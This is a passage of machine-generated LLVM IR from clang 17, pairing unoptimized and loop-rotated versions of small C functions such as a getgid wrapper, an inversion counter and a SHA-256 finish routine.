i1 %47 to i32 %49 = call i32 @assert(i32 noundef %48) ret i32 0 } declare i32 @assert(i32 noundef) #1 declare i32 @sum1(i32 noundef) #1 declare i32 @sum2(i32 noundef) #1 declare i32 @sum3(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpkj3c_j8i.c' source_filename = "/tmp/tmpkj3c_j8i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: alwaysinline nounwind sspstrong uwtable define weak dso_local i32 @softboundcets_getgid() #0 { %1 = call i32 (...) @getgid() ret i32 %1 } declare i32 @getgid(...) #1 attributes #0 = { alwaysinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpkj3c_j8i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: alwaysinline nounwind sspstrong uwtable define weak dso_local i32 @softboundcets_getgid() #0 { %1 = call i32 (...) @getgid() ret i32 %1 } declare i32 @getgid(...) #1 attributes #0 = { alwaysinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbn0a2b10.c' source_filename = "/tmp/tmpbn0a2b10.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @valueinv(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %5, align 4 br label %7 7: ; preds = %37, %2 %8 = load i32, ptr %5, align 4 %9 = icmp slt i32 %8, 10 br i1 %9, label %10, label %40 10: ; preds = %7 %11 = load ptr, ptr %3, align 8 %12 = load i32, ptr %5, align 4 %13 = sext i32 %12 to i64 %14 = getelementptr inbounds i32, ptr %11, i64 %13 %15 = load i32, ptr %14, align 4 %16 = icmp ne i32 %15, 0 br i1 %16, label %17, label %28 17: ; preds = %10 %18 = load ptr, ptr %3, align 8 %19 = load i32, ptr %5, align 4 %20 = sext i32 %19 to i64 %21 = getelementptr inbounds i32, ptr %18, i64 %20 %22 = load i32, ptr %21, align 4 %23 = call i64 @valueitem(i32 noundef %22) %24 = load i32, ptr %6, align 4 %25 = sext i32 %24 to i64 %26 = add nsw i64 %25, %23 %27 = trunc i64 %26 to i32 store i32 %27, ptr %6, align 4 br label %28 28: ; preds = %17, %10 %29 = load ptr, ptr %4, align 8 %30 = load i32, ptr %5, align 4 %31 = sext i32 %30 to i64 %32 = getelementptr inbounds i32, ptr %29, i64 %31 %33 = load i32, ptr %32, align 4 %34 = mul nsw i32 8, %33 %35 = load i32, ptr %6, align 4 %36 = add nsw i32 %35, %34 store i32 %36, ptr %6, align 4 br label %37 37: ; preds = %28 %38 = load i32, ptr %5, align 4 %39 = add nsw i32 %38, 1 store i32 %39, ptr %5, align 4 br label %7, !llvm.loop !6 40: ; preds = %7 %41 = load i32, ptr %6, align 4 ret i32 %41 } declare i64 @valueitem(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbn0a2b10.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @valueinv(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = icmp slt i32 %7, 10 br i1 %8, label %.lr.ph, label %41 .lr.ph: ; preds = %2 br label %9 9: ; preds = %.lr.ph, %36 %10 = load ptr, ptr %3, align 8 %11 = load i32, ptr %5, align 4 %12 = sext i32 %11 to i64 %13 = getelementptr inbounds i32, ptr %10, i64 %12 %14 = load i32, ptr %13, align 4 %15 = icmp ne i32 %14, 0 br i1 %15, label %16, label %27 16: ; preds = %9 %17 = load ptr, ptr %3, align 8 %18 = load i32, ptr %5, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds i32, ptr %17, i64 %19 %21 = load i32, ptr %20, align 4 %22 = call i64 @valueitem(i32 noundef %21) %23 = load i32, ptr %6, align 4 %24 = sext i32 %23 to i64 %25 = add nsw i64 %24, %22 %26 = trunc i64 %25 to i32 store i32 %26, ptr %6, align 4 br label %27 27: ; preds = %16, %9 %28 = load ptr, ptr %4, align 8 %29 = load i32, ptr %5, align 4 %30 = sext i32 %29 to i64 %31 = getelementptr inbounds i32, ptr %28, i64 %30 %32 = load i32, ptr %31, align 4 %33 = mul nsw i32 8, %32 %34 = load i32, ptr %6, align 4 %35 = add nsw i32 %34, %33 store i32 %35, ptr %6, align 4 br label %36 36: ; preds = %27 %37 = load i32, ptr %5, align 4 %38 = add nsw i32 %37, 1 store i32 %38, ptr %5, align 4 %39 = load i32, ptr %5, align 4 %40 = icmp slt i32 %39, 10 br i1 %40, label %9, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %36 br label %41 41: ; preds = %._crit_edge, %2 %42 = load i32, ptr %6, align 4 ret i32 %42 } declare i64 @valueitem(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpbnypfkc7.c' source_filename = "/tmp/tmpbnypfkc7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbnypfkc7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp10xjunfr.c' source_filename = "/tmp/tmp10xjunfr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @switcher(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = call i32 @taskSwitch(i32 noundef 0) ret void } declare i32 @taskSwitch(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp10xjunfr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @switcher(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = call i32 @taskSwitch(i32 noundef 0) ret void } declare i32 @taskSwitch(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpm5l_vj9p.c' source_filename = "/tmp/tmpm5l_vj9p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @countInv(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %8 = load i64, ptr %5, align 8 %9 = load i64, ptr %6, align 8 %10 = icmp slt i64 %8, %9 br i1 %10, label %11, label %28 11: ; preds = %3 %12 = load i64, ptr %5, align 8 %13 = load i64, ptr %6, align 8 %14 = add nsw i64 %12, %13 %15 = sdiv i64 %14, 2 store i64 %15, ptr %7, align 8 %16 = load ptr, ptr %4, align 8 %17 = load i64, ptr %5, align 8 %18 = load i64, ptr %7, align 8 call void @countInv(ptr noundef %16, i64 noundef %17, i64 noundef %18) %19 = load ptr, ptr %4, align 8 %20 = load i64, ptr %7, align 8 %21 = add nsw i64 %20, 1 %22 = load i64, ptr %6, align 8 call void @countInv(ptr noundef %19, i64 noundef %21, i64 noundef %22) %23 = load ptr, ptr %4, align 8 %24 = load i64, ptr %5, align 8 %25 = load i64, ptr %7, align 8 %26 = load i64, ptr %6, align 8 %27 = call i32 @countSplitInv(ptr noundef %23, i64 noundef %24, i64 noundef %25, i64 noundef %26) br label %28 28: ; preds = %11, %3 ret void } declare i32 @countSplitInv(ptr noundef, i64 noundef, i64 noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpm5l_vj9p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @countInv(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %8 = load i64, ptr %5, align 8 %9 = load i64, ptr %6, align 8 %10 = icmp slt i64 %8, %9 br i1 %10, label %11, label %28 11: ; preds = %3 %12 = load i64, ptr %5, align 8 %13 = load i64, ptr %6, align 8 %14 = add nsw i64 %12, %13 %15 = sdiv i64 %14, 2 store i64 %15, ptr %7, align 8 %16 = load ptr, ptr %4, align 8 %17 = load i64, ptr %5, align 8 %18 = load i64, ptr %7, align 8 call void @countInv(ptr noundef %16, i64 noundef %17, i64 noundef %18) %19 = load ptr, ptr %4, align 8 %20 = load i64, ptr %7, align 8 %21 = add nsw i64 %20, 1 %22 = load i64, ptr %6, align 8 call void @countInv(ptr noundef %19, i64 noundef %21, i64 noundef %22) %23 = load ptr, ptr %4, align 8 %24 = load i64, ptr %5, align 8 %25 = load i64, ptr %7, align 8 %26 = load i64, ptr %6, align 8 %27 = call i32 @countSplitInv(ptr noundef %23, i64 noundef %24, i64 noundef %25, i64 noundef %26) br label %28 28: ; preds = %11, %3 ret void } declare i32 @countSplitInv(ptr noundef, i64 noundef, i64 noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpf7jf8pru.c' source_filename = "/tmp/tmpf7jf8pru.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @sha256_finish(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca [16 x i32], align 16 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 store i32 0, ptr %10, align 4 br label %12 12: ; preds = %149, %4 %13 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %14 = call i32 @memset(ptr noundef %13, i32 noundef 0, i32 noundef 64) %15 = load i32, ptr %10, align 4 %16 = load i32, ptr %7, align 4 %17 = sub nsw i32 %16, 64 %18 = icmp slt i32 %15, %17 br i1 %18, label %19, label %46 19: ; preds = %12 store i32 0, ptr %9, align 4 br label %20 20: ; preds = %39, %19 %21 = load i32, ptr %9, align 4 %22 = icmp ult i32 %21, 64 br i1 %22, label %23, label %42 23: ; preds = %20 %24 = load ptr, ptr %6, align 8 %25 = getelementptr inbounds i8, ptr %24, i32 1 store ptr %25, ptr %6, align 8 %26 = load i8, ptr %24, align 1 %27 = zext i8 %26 to i32 %28 = load i32, ptr %9, align 4 %29 = sub i32 3, %28 %30 = and i32 %29, 3 %31 = mul i32 8, %30 %32 = shl i32 %27, %31 %33 = load i32, ptr %9, align 4 %34 = lshr i32 %33, 2 %35 = zext i32 %34 to i64 %36 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %35 %37 = load i32, ptr %36, align 4 %38 = xor i32 %37, %32 store i32 %38, ptr %36, align 4 br label %39 39: ; preds = %23 %40 = load i32, ptr %9, align 4 %41 = add i32 %40, 1 store i32 %41, ptr %9, align 4 br label %20, !llvm.loop !6 42: ; preds = %20 %43 = load ptr, ptr %5, align 8 %44 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %45 = call i32 @sha256_transform(ptr noundef %43, ptr noundef %44) br label %146 46: ; preds = %12 %47 = load i32, ptr %10, align 4 %48 = load i32, ptr %7, align 4 %49 = add nsw i32 %48, 9 %50 = icmp slt i32 %47, %49 br i1 %50, label %51, label %96 51: ; preds = %46 store i32 0, ptr %9, align 4 br label %52 52: ; preds = %74, %51 %53 = load i32, ptr %9, align 4 %54 = load i32, ptr %7, align 4 %55 = load i32, ptr %10, align 4 %56 = sub nsw i32 %54, %55 %57 = icmp ult i32 %53, %56 br i1 %57, label %58, label %77 58: ; preds = %52 %59 = load ptr, ptr %6, align 8 %60 = getelementptr inbounds i8, ptr %59, i32 1 store ptr %60, ptr %6, align 8 %61 = load i8, ptr %59, align 1 %62 = zext i8 %61 to i32 %63 = load i32, ptr %9, align 4 %64 = sub i32 3, %63 %65 = and i32 %64, 3 %66 = mul i32 8, %65 %67 = shl i32 %62, %66 %68 = load i32, ptr %9, align 4 %69 = lshr i32 %68, 2 %70 = zext i32 %69 to i64 %71 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %70 %72 = load i32, ptr %71, align 4 %73 = xor i32 %72, %67 store i32 %73, ptr %71, align 4 br label %74 74: ; preds = %58 %75 = load i32, ptr %9, align 4 %76 = add i32 %75, 1 store i32 %76, ptr %9, align 4 br label %52, !llvm.loop !8 77: ; preds = %52 %78 = load i32, ptr %9, align 4 %79 = sub i32 3, %78 %80 = and i32 %79, 3 %81 = mul i32 8, %80 %82 = add i32 %81, 7 %83 = shl i32 1, %82 %84 = load i32, ptr %9, align 4 %85 = lshr i32 %84, 2 %86 = zext i32 %85 to i64 %87 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %86 %88 = load i32, ptr %87, align 4 %89 = xor i32 %88, %83 store i32 %89, ptr %87, align 4 %90 = load i32, ptr %7, align 4 %91 = ashr i32 %90, 29 %92 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 14 store i32 %91, ptr %92, align 8 %93 = load i32, ptr %7, align 4 %94 = shl i32 %93, 3 %95 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 15 store i32 %94, ptr %95, align 4 br label %145 96: ; preds = %46 store i32 0, ptr %9, align 4 br label %97 97: ; preds = %119, %96 %98 = load i32, ptr %9, align 4 %99 = load i32, ptr %7, align 4 %100 = load i32, ptr %10, align 4 %101 = sub nsw i32 %99, %100 %102 = icmp ult i32 %98, %101 br i1 %102, label %103, label %122 103: ; preds = %97 %104 = load ptr, ptr %6, align 8 %105 = getelementptr inbounds i8, ptr %104, i32 1 store ptr %105, ptr %6, align 8 %106 = load i8, ptr %104, align 1 %107 = zext i8 %106 to i32 %108 = load i32, ptr %9, align 4 %109 = sub i32 3, %108 %110 = and i32 %109, 3 %111 = mul i32 8, %110 %112 = shl i32 %107, %111 %113 = load i32, ptr %9, align 4 %114 = lshr i32 %113, 2 %115 = zext i32 %114 to i64 %116 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %115 %117 = load i32, ptr %116, align 4 %118 = xor i32 %117, %112 store i32 %118, ptr %116, align 4 br label %119 119: ; preds = %103 %120 = load i32, ptr %9, align 4 %121 = add i32 %120, 1 store i32 %121, ptr %9, align 4 br label %97, !llvm.loop !9 122: ; preds = %97 %123 = load i32, ptr %9, align 4 %124 = and i32 %123, 3 %125 = mul i32 8, %124 %126 = add i32 %125, 7 %127 = shl i32 1, %126 %128 = load i32, ptr %9, align 4 %129 = lshr i32 %128, 2 %130 = zext i32 %129 to i64 %131 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %130 %132 = load i32, ptr %131, align 4 %133 = xor i32 %132, %127 store i32 %133, ptr %131, align 4 %134 = load ptr, ptr %5, align 8 %135 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %136 = call i32 @sha256_transform(ptr noundef %134, ptr noundef %135) %137 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %138 = call i32 @memset(ptr noundef %137, i32 noundef 0, i32 noundef 64) %139 = load i32, ptr %7, align 4 %140 = ashr i32 %139, 29 %141 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 14 store i32 %140, ptr %141, align 8 %142 = load i32, ptr %7, align 4 %143 = shl i32 %142, 3 %144 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 15 store i32 %143, ptr %144, align 4 br label %145 145: ; preds = %122, %77 br label %146 146: ; preds = %145, %42 %147 = load i32, ptr %10, align 4 %148 = add nsw i32 %147, 64 store i32 %148, ptr %10, align 4 br label %149 149: ; preds = %146 %150 = load i32, ptr %10, align 4 %151 = load i32, ptr %7, align 4 %152 = icmp slt i32 %150, %151 br i1 %152, label %12, label %153, !llvm.loop !10 153: ; preds = %149 %154 = load ptr, ptr %5, align 8 %155 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %156 = call i32 @sha256_transform(ptr noundef %154, ptr noundef %155) ret void } declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @sha256_transform(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpf7jf8pru.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @sha256_finish(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca [16 x i32], align 16 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 store i32 0, ptr %10, align 4 br label %12 12: ; preds = %158, %4 %13 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %14 = call i32 @memset(ptr noundef %13, i32 noundef 0, i32 noundef 64) %15 = load i32, ptr %10, align 4 %16 = load i32, ptr %7, align 4 %17 = sub nsw i32 %16, 64 %18 = icmp slt i32 %15, %17 br i1 %18, label %19, label %47 19: ; preds = %12 store i32 0, ptr %9, align 4 %20 = load i32, ptr %9, align 4 %21 = icmp ult i32 %20, 64 br i1 %21, label %.lr.ph5, label %43 .lr.ph5: ; preds = %19 br label %22 22: ; preds = %.lr.ph5, %38 %23 = load ptr, ptr %6, align 8 %24 = getelementptr inbounds i8, ptr %23, i32 1 store ptr %24, ptr %6, align 8 %25 = load i8, ptr %23, align 1 %26 = zext i8 %25 to i32 %27 = load i32, ptr %9, align 4 %28 = sub i32 3, %27 %29 = and i32 %28, 3 %30 = mul i32 8, %29 %31 = shl i32 %26, %30 %32 = load i32, ptr %9, align 4 %33 = lshr i32 %32, 2 %34 = zext i32 %33 to i64 %35 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %34 %36 = load i32, ptr %35, align 4 %37 = xor i32 %36, %31 store i32 %37, ptr %35, align 4 br label %38 38: ; preds = %22 %39 = load i32, ptr %9, align 4 %40 = add i32 %39, 1 store i32 %40, ptr %9, align 4 %41 = load i32, ptr %9, align 4 %42 = icmp ult i32 %41, 64 br i1 %42, label %22, label %._crit_edge6, !llvm.loop !6 ._crit_edge6: ; preds = %38 br label %43 43: ; preds = %._crit_edge6, %19 %44 = load ptr, ptr %5, align 8 %45 = getelementptr inbounds [16 x 